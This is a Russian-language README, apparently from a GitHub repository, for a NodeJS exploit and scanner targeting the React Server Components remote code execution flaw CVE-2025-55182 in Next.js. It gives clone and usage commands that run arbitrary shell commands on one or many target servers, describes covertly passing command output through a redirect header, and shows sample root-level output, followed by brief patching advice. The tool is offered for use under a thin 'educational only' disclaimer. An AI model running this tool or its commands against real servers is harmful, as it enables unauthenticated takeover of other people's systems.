
Эксплойт-скрипт и сканер на базе NodeJS для уязвимости React Server Components «React2Shell» (CVE-2025-55182).
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И ИССЛЕДОВАНИЙ В ОБЛАСТИ БЕЗОПАСНОСТИ.
Этот инструмент предназначен для помощи специалистам по безопасности и администраторам в проверке уязвимости их собственных систем. Автор не несёт ответственности за любое неправомерное использование, ущерб или противоправные действия, совершённые с помощью этого кода.
CVE-2025-55182 — это уязвимость удалённого выполнения кода в react-server-dom-webpack, ключевом пакете, используемом Next.js (App Router) и React 19.
Уязвимость позволяет неаутентифицированному злоумышленнику внедрять вредоносные полезные нагрузки в React Server Actions. Манипулируя процессом десериализации, злоумышленник может получить доступ к конструктору JavaScript Function и выполнять произвольные системные команды на сервере.
Затронутые версии:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (до 14.2.35), 15.x (до 15.5.9)Этот обновлённый скрипт использует продвинутые техники эксплуатации для повышения надёжности:
Next-Action ID. Работает с любым уязвимым экземпляром Next.js без ручной разведки.Location. Это позволяет избежать ошибок 500 и получать чистый вывод.Клонируйте репозиторий:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
Перейдите в каталог:
cd React-Security-CVE-2025-55182-Exploit
Проверьте версию Node.js: Убедитесь, что у вас установлен Node.js (рекомендуется v18 или выше).
node -v
(Примечание: скрипт использует стандартные библиотеки Node.js, поэтому npm install не требуется.)
Скрипт react2shell.js автоматически определяет, сканируете ли вы одну или несколько целей.
Команда, выполняемая по умолчанию, — id.
# Одна цель
node react2shell.js http://localhost:3000 ls
# Несколько целей
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
Чтобы выполнить конкретную команду, укажите её последним аргументом.
# Синтаксис: node script.js <URL> <КОМАНДА>
node react2shell.js http://localhost:3000 <command>
⚠️ VULNERABLE: Инструмент успешно выполнил команду и скрытно передал вывод через заголовок переадресации.
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ SAFE: Сервер отклонил полезную нагрузку или он пропатчен.
🛡️ SAFE (http://google.com) | Status: 405
❌ CONNECT ERROR: Скрипту не удалось подключиться к серверу.
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
Если ваше приложение уязвимо, немедленно обновите зависимости.
Для Next.js:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
Для других фреймворков (Waku, Remix и т. д.):
Убедитесь, что react-server-dom-webpack обновлён до v19.2.1 или выше.
Распространяется под лицензией MIT. Подробнее см. в LICENSE.